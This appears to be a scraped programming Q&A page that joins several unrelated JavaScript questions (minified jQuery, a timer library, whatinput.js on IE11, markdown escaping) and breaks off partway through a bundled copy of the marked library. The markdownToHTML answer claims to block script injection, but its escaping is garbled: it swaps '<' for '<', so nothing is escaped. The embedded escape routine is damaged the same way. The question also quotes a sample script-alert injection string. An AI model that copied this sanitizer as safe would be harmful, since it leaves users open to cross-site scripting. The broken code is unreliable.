the search bar does not display result - javascript

in the home page the search bar doesn't work by entering a keyword it goes into a loop and we don't display the list of search results from the console we display these errors advice to solve the problem, below is the code where we find the error if it helps
we think this is the code related to the problem, we await feedback and suggestions to solve the problem
try {
r.send(i.hasContent && i.data || null)
} catch (e) {
if (o) throw e
}
}, abort: function() {
o && o()
}
}
}), S.ajaxPrefilter(function(e) {
e.crossDomain && (e.contents.script = !1)
}), S.ajaxSetup({
accepts: {
script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
},
contents: {
script: /\b(?:java|ecma)script\b/
},
converters: {
"text script": function(e) {
return S.globalEval(e), e
}
}
}), S.ajaxPrefilter("script", function(e) {
void 0 === e.cache && (e.cache = !1), e.crossDomain && (e.type = "GET")
}), S.ajaxTransport("script", function(n) {
var r, i;
if (n.crossDomain || n.scriptAttrs) return {
send: function(e, t) {
r = S("<script>").attr(n.scriptAttrs || {}).prop({
charset: n.scriptCharset,
src: n.url
}).on("load error", i = function(e) {
r.remove(), i = null, e && t("error" === e.type ? 404 : 200, e.type)
}), E.head.appendChild(r[0])
},
abort: function() {
i && i()
}
}
});
var Ut, Xt = [],
Vt = /(=)\?(?=&|$)|\?\?/;
S.ajaxSetup({
jsonp: "callback",
jsonpCallback: function() {
var e = Xt.pop() || S.expando + "_" + Ct.guid++;
return this[e] = !0, e
}
}), S.ajaxPrefilter("json jsonp", function(e, t, n) {
var r, i, o, a = !1 !== e.jsonp && (Vt.test(e.url) ? "url" : "string" == typeof e.data && 0 === (e.contentType || "").indexOf("application/x-www-form-urlencoded") && Vt.test(e.data) && "data");
if (a || "jsonp" === e.dataTypes[0]) return r = e.jsonpCallback = m(e.jsonpCallback) ? e.jsonpCallback() : e.jsonpCallback, a ? e[a] = e[a].replace(Vt, "$1" + r) : !1 !== e.jsonp && (e.url += (Et.test(e.url) ? "&" : "?") + e.jsonp + "=" + r), e.converters["script json"] = function() {
return o || S.error(r + " was not called"), o[0]
}, e.dataTypes[0] = "json", i = C[r], C[r] = function() {
o = arguments
}, n.always(function() {
void 0 === i ? S(C).removeProp(r) : C[r] = i, e[r] && (e.jsonpCallback = t.jsonpCallback, Xt.push(r)), o && m(i) && i(o[0]), o = i = void 0
}), "script"
}), v.createHTMLDocument = ((Ut = E.implementation.createHTMLDocument("").body).innerHTML = "<form></form><form></form>", 2 === Ut.childNodes.length), S.parseHTML = function(e, t, n) {
return "string" != typeof e ? [] : ("boolean" == typeof t && (n = t, t = !1), t || (v.createHTMLDocument ? ((r = (t = E.implementation.createHTMLDocument("")).createElement("base")).href = E.location.href, t.head.appendChild(r)) : t = E), o = !n && [], (i = N.exec(e)) ? [t.createElement(i[1])] : (i = xe([e], t, o), o && o.length && S(o).remove(), S.merge([], i.childNodes)));
var r, i, o
}, S.fn.load = function(e, t, n) {
var r, i, o, a = this,
s = e.indexOf(" ");
return -1 < s && (r = yt(e.slice(s)), e = e.slice(0, s)), m(t) ? (n = t, t = void 0) : t && "object" == typeof t && (i = "POST"), 0 < a.length && S.ajax({
url: e,
type: i || "GET",
dataType: "html",
data: t
}).done(function(e) {
o = arguments, a.html(r ? S("<div>").append(S.parseHTML(e)).find(r) : e)
}).always(n && function(e, t) {
a.each(function() {
n.apply(this, o || [e.responseText, t, e])
})
}), this
}, S.expr.pseudos.animated = function(t) {
return S.grep(S.timers, function(e) {
return t === e.elem
}).length
}, S.offset = {
setOffset: function(e, t, n) {
var r, i, o, a, s, u, l = S.css(e, "position"),
c = S(e),
f = {};
"static" === l && (e.style.position = "relative"), s = c.offset(), o = S.css(e, "top"), u = S.css(e, "left"), ("absolute" === l || "fixed" === l) && -1 < (o + u).indexOf("auto") ? (a = (r = c.position()).top, i = r.left) : (a = parseFloat(o) || 0, i = parseFloat(u) || 0), m(t) && (t = t.call(e, n, S.extend({}, s))), null != t.top && (f.top = t.top - s.top + a), null != t.left && (f.left = t.left - s.left + i), "using" in t ? t.using.call(e, f) : c.css(f)
}
}, S.fn.extend({
offset: function(t) {
if (arguments.length) return void 0 === t ? this : this.each(function(e) {
S.offset.setOffset(this, t, e)
});
var e, n, r = this[0];
return r ? r.getClientRects().length ? (e = r.getBoundingClientRect(), n = r.ownerDocument.defaultView, {
top: e.top + n.pageYOffset,
left: e.left + n.pageXOffset
}) : {
top: 0,
left: 0
} : void 0
},
position: function() {
if (this[0]) {
var e, t, n, r = this[0],
i = {
top: 0,
left: 0
};
if ("fixed" === S.css(r, "position")) t = r.getBoundingClientRect();
else {
t = this.offset(), n = r.ownerDocument, e = r.offsetParent || n.documentElement;
while (e && (e === n.body || e === n.documentElement) && "static" === S.css(e, "position")) e = e.parentNode;
e && e !== r && 1 === e.nodeType && ((i = S(e).offset()).top += S.css(e, "borderTopWidth", !0), i.left += S.css(e, "borderLeftWidth", !0))
}
return {
top: t.top - i.top - S.css(r, "marginTop", !0),
left: t.left - i.left - S.css(r, "marginLeft", !0)
}
}
},
offsetParent: function() {
return this.map(function() {
var e = this.offsetParent;
while (e && "static" === S.css(e, "position")) e = e.offsetParent;
return e || re
})
}
}), S.each({
scrollLeft: "pageXOffset",
scrollTop: "pageYOffset"
}, function(t, i) {
var o = "pageYOffset" === i;
S.fn[t] = function(e) {
return B(this, function(e, t, n) {
var r;
if (x(e) ? r = e : 9 === e.nodeType && (r = e.defaultView), void 0 === n) return r ? r[i] : e[t];
r ? r.scrollTo(o ? r.pageXOffset : n, o ? n : r.pageYOffset) : e[t] = n
}, t, e, arguments.length)
}
}), S.each(["top", "left"], function(e, n) {
S.cssHooks[n] = _e(v.pixelPosition, function(e, t) {
if (t) return t = Be(e, n), Pe.test(t) ? S(e).position()[n] + "px" : t
})
}), S.each({
Height: "height",
Width: "width"
}, function(a, s) {
S.each({
padding: "inner" + a,
content: s,
"": "outer" + a
}, function(r, o) {
S.fn[o] = function(e, t) {
var n = arguments.length && (r || "boolean" != typeof e),
i = r || (!0 === e || !0 === t ? "margin" : "border");
return B(this, function(e, t, n) {
var r;
return x(e) ? 0 === o.indexOf("outer") ? e["inner" + a] : e.document.documentElement["client" + a] : 9 === e.nodeType ? (r = e.documentElement, Math.max(e.body["scroll" + a], r["scroll" + a], e.body["offset" + a], r["offset" + a], r["client" + a])) : void 0 === n ? S.css(e, t, i) : S.style(e, t, n, i)
}, s, n ? e : void 0, n)
}
})
}), S.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(e, t) {
S.fn[t] = function(e) {
return this.on(t, e)
}
}), S.fn.extend({
bind: function(e, t, n) {
return this.on(e, null, t, n)
},
unbind: function(e, t) {
return this.off(e, null, t)
},
delegate: function(e, t, n, r) {
return this.on(t, e, n, r)
},
undelegate: function(e, t, n) {
return 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n)
},
hover: function(e, t) {
return this.mouseenter(e).mouseleave(t || e)
}
}), S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(e, n) {
S.fn[n] = function(e, t) {
return 0 < arguments.length ? this.on(n, null, e, t) : this.trigger(n)
}
});
var Gt = /^[\s\uFEFF\xA0]+|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g;
S.proxy = function(e, t) {
var n, r, i;
if ("string" == typeof t && (n = e[t], t = e, e = n), m(e)) return r = s.call(arguments, 2), (i = function() {
return e.apply(t || this, r.concat(s.call(arguments)))
}).guid = e.guid = e.guid || S.guid++, i
}, S.holdReady = function(e) {
e ? S.readyWait++ : S.ready(!0)
}, S.isArray = Array.isArray, S.parseJSON = JSON.parse, S.nodeName = A, S.isFunction = m, S.isWindow = x, S.camelCase = X, S.type = w, S.now = Date.now, S.isNumeric = function(e) {
var t = S.type(e);
return ("number" === t || "string" === t) && !isNaN(e - parseFloat(e))
}, S.trim = function(e) {
return null == e ? "" : (e + "").replace(Gt, "$1")
}, "function" == typeof define && define.amd && define("jquery", [], function() {
return S
});
var Yt = C.jQuery,
Qt = C.$;
return S.noConflict = function(e) {
return C.$ === S && (C.$ = Qt), e && C.jQuery === S && (C.jQuery = Yt), S
}, "undefined" == typeof e && (C.jQuery = C.$ = S), S
});
jQuery.noConflict();

Related

JavaScript errors after changing HTML file directory

Having javascript errors after changing the directories of html files. In inspect mode each time when I scroll the page javascript errors keep increasing kindly help me out with this issue. Also have changed the javascript files directory. I am sharing an image of errors.
Directory of files
Here is the part which is having errors in Total.min.js
function e(y) {
var b, w, x, $ = !1;
function S(t, e) {
if (C.getComputedStyle || -1 === e.indexOf("%")) return e;
var i = t.style,
s = i.left,
n = t.runtimeStyle,
o = n && n.left;
return o && (n.left = t.currentStyle.left), i.left = e, e = i.pixelLeft, i.left = s, o && (n.left = o), e
}
return function(t) {
if (function() {
if (!$) {
$ = !0;
var i, e = C.getComputedStyle;
if (i = e ? function(t) {
return e(t, null)
} : function(t) {
return t.currentStyle
}, b = function(t) {
var e = i(t);
return e || T("Style returned " + e + "."), e
}, w = y("boxSizing")) {
var t = document.createElement("div");
t.style.width = "200px", t.style.padding = "1px 2px 3px 4px", t.style.borderStyle = "solid", t.style.borderWidth = "1px 2px 3px 4px", t.style[w] = "border-box";
var s = document.body || document.documentElement;
s.appendChild(t);
var n = b(t);
x = 200 === _(n.width), s.removeChild(t)
}
}
}(), "string" == typeof t && (t = document.querySelector(t)), t && "object" == typeof t && t.nodeType) {
var e = b(t);
if ("none" === e.display) return function() {
for (var t = {
width: 0,
height: 0,
innerWidth: 0,
innerHeight: 0,
outerWidth: 0,
outerHeight: 0
}, e = 0, i = I.length; e < i; e++) t[I[e]] = 0;
return t
}();
var i = {};
i.width = t.offsetWidth, i.height = t.offsetHeight;
for (var s = i.isBorderBox = !(!w || !e[w] || "border-box" !== e[w]), n = 0, o = I.length; n < o; n++) {
var a = I[n],
r = e[a];
r = S(t, r);
var l = parseFloat(r);
i[a] = isNaN(l) ? 0 : l
}
var h = i.paddingLeft + i.paddingRight,
c = i.paddingTop + i.paddingBottom,
d = i.marginLeft + i.marginRight,
u = i.marginTop + i.marginBottom,
p = i.borderLeftWidth + i.borderRightWidth,
f = i.borderTopWidth + i.borderBottomWidth,
m = s && x,
g = _(e.width);
!1 !== g && (i.width = g + (m ? 0 : h + p));
var v = _(e.height);
return !1 !== v && (i.height = v + (m ? 0 : c + f)), i.innerWidth = i.width - (h + p), i.innerHeight = i.height - (c + f), i.outerWidth = i.width + d, i.outerHeight = i.height + u, i
}
}
}
"function" == typeof define && define.amd ? define("get-size/get-size", ["get-style-property/get-style-property"], e) : "object" == typeof exports ? module.exports = e(require("desandro-get-style-property")) : C.getSize = e(C.getStyleProperty)
}(window),
function(e) {
var i = e.document,
s = [];
function n(t) {
"function" == typeof t && (n.isReady ? t() : s.push(t))
}
function o(t) {
var e = "readystatechange" === t.type && "complete" !== i.readyState;
n.isReady || e || a()
}
function a() {
n.isReady = !0;
for (var t = 0, e = s.length; t < e; t++) {
(0, s[t])()
}
}
function t(t) {
return "complete" === i.readyState ? a() : (t.bind(i, "DOMContentLoaded", o), t.bind(i, "readystatechange", o), t.bind(e, "load", o)), n
}
n.isReady = !1, "function" == typeof define && define.amd ? define("doc-ready/doc-ready", ["eventie/eventie"], t) : "object" == typeof exports ? module.exports = t(require("eventie")) : e.docReady = t(e.eventie)
}(window),
function(n) {
"use strict";
var t, i = function() {
if (n.matches) return "matches";
if (n.matchesSelector) return "matchesSelector";
for (var t = ["webkit", "moz", "ms", "o"], e = 0, i = t.length; e < i; e++) {
var s = t[e] + "MatchesSelector";
if (n[s]) return s
}
}();
Errors during inspecting site in console

timer library using JavaScript

I have a timer library from EasyTimer.
Every time, i start my timer, it will start from 00:00:00
How do i make my timer to start timer from <?php echo $timer; ?>
For example start timer from 00:00.30.
$timer value comes from DB.
source code: https://albert-gonzalez.github.io/easytimer.js/#chronoHtml
PHP:
<!--Timer.Start-->
Timer:
<div id="chronoExample" class="input-group ng-isolate-scope ng-valid ng-dirty ng-valid-parse">
<?php if ($update == true): ?>
<div id="timer1" class="values form-control ng-valid ng-isolate-scope ng-dirty ng-touched"><?php echo $timer; ?></div>
<?php else: ?>
<div id="timer1" class="values form-control ng-valid ng-isolate-scope ng-dirty ng-touched">00:00:00</div>
<?php endif ?>
<div class="input-group-btn">
<button type="button" class="startButton btn btn-default">Start</button>
<button type="button" class="pauseButton btn btn-default">Pause</button>
<button type="button" class="resetButton btn btn-default">Reset</button>
</div>
</div>
<script src="javascript/easytimer.min.js"></script>
<script>
var timerInstance = new Timer();
</script>
<script src="javascript/easytimer.js"></script>
<input type="hidden" id="timerdata" name="timer">
<script>
function change() {
document.getElementById('timerdata').value = document.getElementById('timer1').textContent;
}
</script>
<!--Timer.End-->
Easytimer.js:
var timer = new Timer();
$('#chronoExample .startButton').click(function () {
timer.start();
});
$('#chronoExample .pauseButton').click(function () {
timer.pause();
});
$('#chronoExample .stopButton').click(function () {
timer.stop();
});
$('#chronoExample .resetButton').click(function () {
timer.reset();
});
timer.addEventListener('secondsUpdated', function (e) {
$('#chronoExample .values').html(timer.getTimeValues().toString());
});
timer.addEventListener('started', function (e) {
$('#chronoExample .values').html(timer.getTimeValues().toString());
});
timer.addEventListener('reset', function (e) {
$('#chronoExample .values').html(timer.getTimeValues().toString());
});
Easytimer.min.js:
!function (t, n) {
"object" == typeof exports && "undefined" != typeof module ? module.exports = n() : "function" == typeof define && define.amd ? define(n) : t.Timer = n()
}(this, function () {
"use strict";
function s(t, n, e) {
var o = void 0, i = "";
if (t.length > n) return t;
for (o = 0; o < n; o += 1) i += String(e);
return (i + t).slice(-i.length)
}
function P() {
this.secondTenths = 0, this.seconds = 0, this.minutes = 0, this.hours = 0, this.days = 0, this.toString = function (t, n, e) {
t = t || ["hours", "minutes", "seconds"], n = n || ":", e = e || 2;
var o = [], i = void 0;
for (i = 0; i < t.length; i += 1) void 0 !== this[t[i]] && ("secondTenths" === t[i] ? o.push(this[t[i]]) : o.push(s(this[t[i]], e, "0")));
return o.join(n)
}
}
var t = "undefined" != typeof window ? window.CustomEvent : void 0;
"undefined" != typeof window && "function" != typeof t && ((t = function (t, n) {
n = n || {bubbles: !1, cancelable: !1, detail: void 0};
var e = document.createEvent("CustomEvent");
return e.initCustomEvent(t, n.bubbles, n.cancelable, n.detail), e
}).prototype = window.Event.prototype, window.CustomEvent = t);
var q = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (t) {
return typeof t
} : function (t) {
return t && "function" == typeof Symbol && t.constructor === Symbol && t !== Symbol.prototype ? "symbol" : typeof t
}, I = "secondTenths", O = "seconds", z = "minutes", R = "hours", B = "days",
F = {secondTenths: 100, seconds: 1e3, minutes: 6e4, hours: 36e5, days: 864e5},
G = {secondTenths: 10, seconds: 60, minutes: 60, hours: 24},
H = "undefined" != typeof module && module.exports && "function" == typeof require ? require("events") : void 0;
function J() {
return "undefined" != typeof document
}
function K() {
return H
}
function N(t, n) {
return (t % n + n) % n
}
return function () {
var s = new P, r = new P, i = void 0,
e = J() ? document.createElement("span") : K() ? new H.EventEmitter : void 0, u = !1, d = !1, c = void 0,
a = void 0, f = void 0, v = {}, h = void 0, l = void 0, p = void 0, m = void 0, y = void 0, o = void 0,
b = {detail: {timer: this}};
function w(t, n) {
var e, o, i = r[n];
return o = U(t, F[e = n]), r[e] = o, s[e] = e === B ? o : 0 <= o ? N(o, G[e]) : G[e] - N(o, G[e]), r[n] !== i
}
function t() {
n(), function () {
for (var t in s) s.hasOwnProperty(t) && "number" == typeof s[t] && (s[t] = 0);
for (var n in r) r.hasOwnProperty(n) && "number" == typeof r[n] && (r[n] = 0)
}()
}
function n() {
clearInterval(i), i = void 0, d = u = !1
}
function g(t) {
var n, e, o;
M() ? (y = E(), l = V(h.target)) : (c = "string" == typeof(e = (e = t) || {}).precision ? e.precision : O, f = "function" == typeof e.callback ? e.callback : function () {
}, m = !0 === e.countdown, a = !0 === m ? -1 : 1, "object" === q(e.startValues) ? (o = e.startValues, p = L(o), s.secondTenths = p[0], s.seconds = p[1], s.minutes = p[2], s.hours = p[3], s.days = p[4], r = A(p, r)) : p = null, y = E(), S(), "object" === q(e.target) ? l = V(e.target) : m ? (e.target = {seconds: 0}, l = V(e.target)) : l = null, v = {
precision: c,
callback: f,
countdown: "object" === (void 0 === e ? "undefined" : q(e)) && !0 === e.countdown,
target: l,
startValues: p
}, h = e), n = F[c], C(j(Date.now())) || (i = setInterval(T, n), d = !(u = !0))
}
function E() {
return j(Date.now()) - r.secondTenths * F[I] * a
}
function T() {
var t, n = j(Date.now());
(t = S())[I] && k("secondTenthsUpdated", b), t[O] && k("secondsUpdated", b), t[z] && k("minutesUpdated", b), t[R] && k("hoursUpdated", b), t[B] && k("daysUpdated", b), f(b.detail.timer), C(n) && (D(), k("targetAchieved", b))
}
function S() {
var t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : j(Date.now()),
n = 0 < a ? t - y : y - t, e = {};
return e[I] = w(n, I), e[O] = w(n, O), e[z] = w(n, z), e[R] = w(n, R), e[B] = w(n, B), e
}
function j(t) {
return Math.floor(t / F[c]) * F[c]
}
function C(t) {
return l instanceof Array && o <= t
}
function L(t) {
var n, e, o, i, s, r = void 0;
if ("object" === (void 0 === t ? "undefined" : q(t))) if (t instanceof Array) {
if (5 !== t.length) throw new Error("Array size not valid");
r = t
} else r = [t.secondTenths || 0, t.seconds || 0, t.minutes || 0, t.hours || 0, t.days || 0];
return n = r[0], e = r[1] + U(n, 10), o = r[2] + U(e, 60), i = r[3] + U(o, 60), s = r[4] + U(i, 24), r[0] = n % 10, r[1] = e % 60, r[2] = o % 60, r[3] = i % 24, r[4] = s, r
}
function U(t, n) {
var e = t / n;
return e < 0 ? Math.ceil(e) : Math.floor(e)
}
function V(t) {
if (t) {
var n = A(l = L(t));
return o = y + n.secondTenths * F[I] * a, l
}
}
function A(t, n) {
var e = n || {};
return e.days = t[4], e.hours = 24 * e.days + t[3], e.minutes = 60 * e.hours + t[2], e.seconds = 60 * e.minutes + t[1], e.secondTenths = 10 * e.seconds + t[[0]], e
}
function D() {
t(), k("stopped", b)
}
function k(t, n) {
J() ? e.dispatchEvent(new CustomEvent(t, n)) : K() && e.emit(t, n)
}
function x() {
return u
}
function M() {
return d
}
void 0 !== this && (this.start = function (t) {
x() || (g(t), k("started", b))
}, this.pause = function () {
n(), d = !0, k("paused", b)
}, this.stop = D, this.reset = function () {
t(), g(h), k("reset", b)
}, this.isRunning = x, this.isPaused = M, this.getTimeValues = function () {
return s
}, this.getTotalTimeValues = function () {
return r
}, this.getConfig = function () {
return v
}, this.addEventListener = function (t, n) {
J() ? e.addEventListener(t, n) : K() && e.on(t, n)
}, this.removeEventListener = function (t, n) {
J() ? e.removeEventListener(t, n) : K() && e.removeListener(t, n)
})
}
});
The EasyTimer.js Docs has an example of setting the start time.
Essentially, you just need to pass the start time to the timer object
<script>
var timerInstance = new Timer();
<?php if ($update == true): ?>
timerInstance.start({precision: 'seconds', startValues: <?php echo $timer; ?>});
<?php endif ?>
</script>
But you may have to change the way you store or echo the $timer in the <script> tag.
This is my final code, if someone need it.
Timer:
<div id="chronoExample" class="input-group ng-isolate-scope ng-valid ng-dirty ng-valid-parse">
<div class="days input-group-addon" id="id_days"><?php if ($update == true): ?><?php echo $days; ?><?php else: ?>0<?php endif ?></div>
<div class="hours input-group-addon" id="id_hours"><?php if ($update == true): ?><?php echo $hours; ?><?php else: ?>0<?php endif ?></div>
<div class="minutes input-group-addon" id="id_minutes"><?php if ($update == true): ?><?php echo $minutes; ?><?php else: ?>0<?php endif ?></div>
<div class="seconds input-group-addon" id="id_seconds"><?php if ($update == true): ?><?php echo $seconds; ?><?php else: ?>0<?php endif ?></div>
<div class="input-group-btn">
<button type="button" class="startButton btn btn-default">Start</button>
<button type="button" class="pauseButton btn btn-default">Pause</button>
<button type="button" class="resetButton btn btn-default">Reset</button>
</div>
</div>
<script src="javascript/easytimer.min.js"></script>
<script>
var timer = new Timer();
$('#chronoExample .startButton').click(function () {
timer.start({
precision: "seconds",
startValues: {seconds: <?php if ($update == true): ?><?php echo $total_seconds; ?><?php else: ?>0<?php endif ?>}
});
});
$('#chronoExample .pauseButton').click(function () {
timer.pause();
});
$('#chronoExample .stopButton').click(function () {
timer.stop();
});
$('#chronoExample .resetButton').click(function () {
timer.reset();
});
timer.addEventListener('secondsUpdated', function (e) {
$('#chronoExample .values').html(timer.getTimeValues().toString());
});
timer.addEventListener('started', function (e) {
$('#chronoExample .values').html(timer.getTimeValues().toString());
});
timer.addEventListener('reset', function (e) {
$('#chronoExample .values').html(timer.getTimeValues().toString());
});
timer.addEventListener('secondsUpdated', function (e) {
$('#chronoExample .days').html(timer.getTimeValues().days);
$('#chronoExample .hours').html(timer.getTimeValues().hours);
$('#chronoExample .minutes').html(timer.getTimeValues().minutes);
$('#chronoExample .seconds').html(timer.getTimeValues().seconds);
<!--Total Seconds -->
$('#gettingTotalValues .seconds').html(timer.getTotalTimeValues().seconds);
});
</script>

whatinput.js issues on IE11

IE11 is having issues processing whatinput.js with the following error:
"File: whatinput.js, Line: 38, Column: 9" Object doesn't support property or method 'hasAttribute'
Chrome runs this just fine and the input field we are trying to run this on works perfectly.
Below is the script whatinput.js:
(function (a, b) {
typeof define === "function" && define.amd ? define([], function () {
return b()
}) : typeof exports === "object" ? module.exports = b() : a.whatInput = b()
})(this, function () {
function a(a) {
clearTimeout(p);
c(a);
k = !0;
p = setTimeout(function () {
k = !1
}, 1E3)
}
function b(a) {
k || c(a)
}
function c(a) {
var c = a.keyCode ? a.keyCode : a.which,
b = a.target || a.srcElement,
d = l[a.type];
d === "pointer" && (d = typeof a.pointerType === "number" ? q[a.pointerType] : a.pointerType);
if (h !== d && (i || !h || !(d === "keyboard" && o[c] !== "tab" && j.indexOf(b.nodeName.toLowerCase()) >=
0))) h = d, f.setAttribute("data-whatinput", h), n.indexOf(h) === -1 && n.push(h);
d === "keyboard" && g.indexOf(o[c]) === -1 && o[c] && g.push(o[c])
}
function d(a) {
a = g.indexOf(o[a.keyCode ? a.keyCode : a.which]);
a !== -1 && g.splice(a, 1)
}
var g = [],
f = document.body,
k = !1,
h = null,
j = ["input", "select", "textarea"],
i = f.hasAttribute("data-whatinput-formtyping"),
l = {
keydown: "keyboard",
mousedown: "mouse",
mouseenter: "mouse",
touchstart: "touch",
pointerdown: "pointer",
MSPointerDown: "pointer"
},
n = [],
o = {
9: "tab",
13: "enter",
16: "shift",
27: "esc",
32: "space",
37: "left",
38: "up",
39: "right",
40: "down"
},
q = {
2: "touch",
3: "touch",
4: "mouse"
},
p;
(function () {
var c = "mousedown";
window.PointerEvent ? c = "pointerdown" : window.MSPointerEvent && (c = "MSPointerDown");
f.addEventListener ? (f.addEventListener(c, b), f.addEventListener("mouseenter", b), "ontouchstart" in document.documentElement && f.addEventListener("touchstart", a), f.addEventListener("keydown", b), f.addEventListener("keyup", d)) : (f.attachEvent(c, b), f.attachEvent("mouseenter", b), "ontouchstart" in document.documentElement && f.attachEvent("touchstart",
a), f.attachEvent("keydown", b), f.attachEvent("keyup", d))
})();
return {
ask: function () {
return h
},
keys: function () {
return g
},
types: function () {
return n
},
set: c
}
});
Has anyone run across this issue before? if so what actions have been taken to correct.

Javascript Escape All But Text Related HTML Tags (<h1>, <p>, <img> etc.)

Using Javascript & jQuery, how can I escape all HTML except content related tags such as H1, img etc? I have converted markdown text to HTML and put this inside a div, but I do not want my users writing <script> tags, <div>'s or any kind of exploit.
Is there a way I can safely use html converted from markdown on my website?
(A great example is stackoverflow, this text is using markdown but does not allow me to exploit it with <script>alert("Hi");</script>)
EDIT: I have uploaded this method to my github. Read README for information on usage. View my markdown2html repo here.
One method I have came up with is using the marked package on github combined with a custom made function.
After including the marked JS code (located at the bottom of this answer) you can use the following function I have made to escape all HTML tags within markdown except those within code tags (``).
Here is the function I have written in pure javascript combined with the marked package on github;
// INCLUDE MARKED JS CODE (LINK ABOVE) BEFORE USING THIS FUNCTION
function markdownToHTML(markdown) {
// Define variables
var re = /``.*?``/g,
str = markdown,
lastIndex = 0,
escaped = "";
// Escape <, > and & from non-code markdown
while ((match = re.exec(str)) != null) {
// Define variables to escape and to leave
var dangerous = markdown.substring(lastIndex, match.index);
var safe = match[0];
// Escape dangerous markdown
dangerous = dangerous.replace(/<[^>]+>/g, function(wholeMatch, innerTag) {
while (wholeMatch.charAt(0) == "<")
wholeMatch = wholeMatch.replace("<", "<");
while (wholeMatch.charAt(wholeMatch.length - 1) == ">")
wholeMatch = wholeMatch.replace(/.$/, ">");
return wholeMatch;
});
// Add escaped strings to new escaped string
escaped += dangerous;
escaped += safe;
// Set lastIndex to end index of match
lastIndex = match.index + match[0].length;
}
escaped += markdown.substring(lastIndex, markdown.length).replace(/<[^>]+>/g, function(wholeMatch, innerTag) {
while (wholeMatch.charAt(0) == "<")
wholeMatch = wholeMatch.replace("<", "<");
while (wholeMatch.charAt(wholeMatch.length - 1) == ">")
wholeMatch = wholeMatch.replace(/.$/, ">");
return wholeMatch;
});
// Return SAFE markdown and convert to HTML
return marked(escaped);
}
To use this function, simply call it with the first argument being the markdown you want to safely convert to HTML. Here is an example;
document.body.innerHTML = markdownToHTML("This **text** should be escaped.\nIf I try to create a div by using:\n<div style='width:100px;height:100px;background-color:red;'>My Div</div>\nit will be escaped...\n\nWhere as if I use it in a code section like so:\n``<div style='width:100px;height:100px;background-color:red;'>My Div</div>``\nit should be left alone and **not** escaped.");
Output:
Use this JS code "Marked" from github to use the marked() function
Complete code snippet:
// Include marked
(function() { function e(e) { this.tokens = [], this.tokens.links = {}, this.options = e || a.defaults, this.rules = p.normal, this.options.gfm && (this.options.tables ? this.rules = p.tables : this.rules = p.gfm) } function t(e, t) { if (this.options = t || a.defaults, this.links = e, this.rules = u.normal, this.renderer = this.options.renderer || new n, this.renderer.options = this.options, !this.links) throw new Error("Tokens array requires a `links` property."); this.options.gfm ? this.options.breaks ? this.rules = u.breaks : this.rules = u.gfm : this.options.pedantic && (this.rules = u.pedantic) } function n(e) { this.options = e || {} } function r(e) { this.tokens = [], this.token = null, this.options = e || a.defaults, this.options.renderer = this.options.renderer || new n, this.renderer = this.options.renderer, this.renderer.options = this.options } function s(e, t) { return e.replace(t ? /&/g : /&(?!#?\w+;)/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """).replace(/'/g, "'") } function i(e) { return e.replace(/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/g, function(e, t) { return t = t.toLowerCase(), "colon" === t ? ":" : "#" === t.charAt(0) ? "x" === t.charAt(1) ? String.fromCharCode(parseInt(t.substring(2), 16)) : String.fromCharCode(+t.substring(1)) : "" }) } function l(e, t) { return e = e.source, t = t || "", function n(r, s) { return r ? (s = s.source || s, s = s.replace(/(^|[^\[])\^/g, "$1"), e = e.replace(r, s), n) : new RegExp(e, t) } } function o() { } function h(e) { for (var t, n, r = 1; r < arguments.length; r++){ t = arguments[r]; for (n in t) Object.prototype.hasOwnProperty.call(t, n) && (e[n] = t[n]) } return e } function a(t, n, i) { if (i || "function" == typeof n) { i || (i = n, n = null), n = h({}, a.defaults, n || {}); var l, o, p = n.highlight, u = 0; try { l = e.lex(t, n) } catch (c) { return i(c) } o = l.length; var g = function(e) { if (e) return n.highlight = p, i(e); var t; try { t = r.parse(l, n) } catch (s) { e = s } return n.highlight = p, e ? i(e) : i(null, t) }; if (!p || p.length < 3) return g(); if (delete n.highlight, !o) return g(); for (; u < l.length; u++)!function(e) { return "code" !== e.type ? --o || g() : p(e.text, e.lang, function(t, n) { return t ? g(t) : null == n || n === e.text ? --o || g() : (e.text = n, e.escaped = !0, void (--o || g())) }) } (l[u]) } else try { return n && (n = h({}, a.defaults, n)), r.parse(e.lex(t, n), n) } catch (c) { if (c.message += "\nPlease report this to https://github.com/chjj/marked.", (n || a.defaults).silent) return "<p>An error occured:</p><pre>" + s(c.message + "", !0) + "</pre>"; throw c } } var p = { newline: /^\n+/, code: /^( {4}[^\n]+\n*)+/, fences: o, hr: /^( *[-*_]){3,} *(?:\n+|$)/, heading: /^ *(#{1,6}) *([^\n]+?) *#* *(?:\n+|$)/, nptable: o, lheading: /^([^\n]+)\n *(=|-){2,} *(?:\n+|$)/, blockquote: /^( *>[^\n]+(\n(?!def)[^\n]+)*\n*)+/, list: /^( *)(bull) [\s\S]+?(?:hr|def|\n{2,}(?! )(?!\1bull )\n*|\s*$)/, html: /^ *(?:comment *(?:\n|\s*$)|closed *(?:\n{2,}|\s*$)|closing *(?:\n{2,}|\s*$))/, def: /^ *\[([^\]]+)\]: *<?([^\s>]+)>?(?: +["(]([^\n]+)[")])? *(?:\n+|$)/, table: o, paragraph: /^((?:[^\n]+\n?(?!hr|heading|lheading|blockquote|tag|def))+)\n*/, text: /^[^\n]+/ }; p.bullet = /(?:[*+-]|\d+\.)/, p.item = /^( *)(bull) [^\n]*(?:\n(?!\1bull )[^\n]*)*/, p.item = l(p.item, "gm")(/bull/g, p.bullet)(), p.list = l(p.list)(/bull/g, p.bullet)("hr", "\\n+(?=\\1?(?:[-*_] *){3,}(?:\\n+|$))")("def", "\\n+(?=" + p.def.source + ")")(), p.blockquote = l(p.blockquote)("def", p.def)(), p._tag = "(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:/|[^\\w\\s#]*#)\\b", p.html = l(p.html)("comment", /<!--[\s\S]*?-->/)("closed", /<(tag)[\s\S]+?<\/\1>/)("closing", /<tag(?:"[^"]*"|'[^']*'|[^'">])*?>/)(/tag/g, 